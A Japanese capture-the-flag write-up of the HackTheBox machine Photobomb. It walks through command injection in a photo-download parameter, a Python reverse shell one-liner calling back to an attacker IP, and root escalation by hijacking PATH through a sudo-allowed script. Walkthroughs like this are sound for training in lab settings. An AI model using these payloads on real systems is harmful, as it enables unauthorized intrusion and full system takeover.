🔥
HackTheBox Photobomb
Photobomb
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/Photobomb]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.182 -oN nmap.log
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
| 256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_ 256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
22、80番を確認
web
下の click here! をクリックしてみる
Basic 認証を求められた
ディレクトリ探索や、サブドメイン探索では特に情報が落ちなかった
photobomb.js
リクエストを Burp Suite で確認すると、photobomb.js へのリクエストがあったので、みてみる
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
printer への認証情報が直接記載されてしまっている
printer
先程の認証情報を入力すると、アクセスできた
ページの下部では、写真のダウンロードができるようになっている
写真には特に情報がないので、ダウンロードを Intercept し、確認してみる
POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000
上記のようなリクエストが確認できた。パラメータが3つ送られている
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;id&dimensions=3000x2000
それぞれのパラメータに対して、試行していくと、filetype に id をいれることで
HTTP/1.1 500 Internal Server Error
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 16 Oct 2022 06:32:17 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 67
Connection: close
Content-Disposition: attachment; filename=voicu-apostol-MWER49YaD-M-unsplash_3000x2000.jpg;id
X-Xss-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Failed to generate a copy of voicu-apostol-MWER49YaD-M-unsplash.jpg
500番エラーの中に、id の出力を確認できた
wizard としてのシェル
revere shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
filetype の後に、上記の文を追記し、send する
┌──(kali㉿kali)-[~/Desktop/Photobomb]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.182] 42308
/bin/sh: 0: can't access tty; job control turned off
$ whoami
wizard
侵入成功
user フラグ
wizard@photobomb:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
権限昇格
sudo
wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
cleanup.sh で NOPASSWD が設定されている
cleanup.sh
実際のスクリプトを確認してみる
wizard@photobomb:~$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
find が絶対パスで記載されていない
root としてのシェル
find
wizard@photobomb:/tmp$ echo "/bin/bash -p" > find
wizard@photobomb:/tmp$ chmod +x find
まず、bash を実行するスクリプトとして find を作成し、実行権限を付与
wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# whoami
root
最後に、環境パスを追加しながら実行することで、権限昇格に成功
root フラグ
root@photobomb:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
所感
今回のボックスはかなり簡単だった。しかし、JS内の認証情報や応答にコマンドが隠れていることなどは一度見落としてしまうと中々見つけることが難しい部分だと思う。今回問題として採用されたことでより一層確認することへの意識が強くなったのでよかった。
Discussion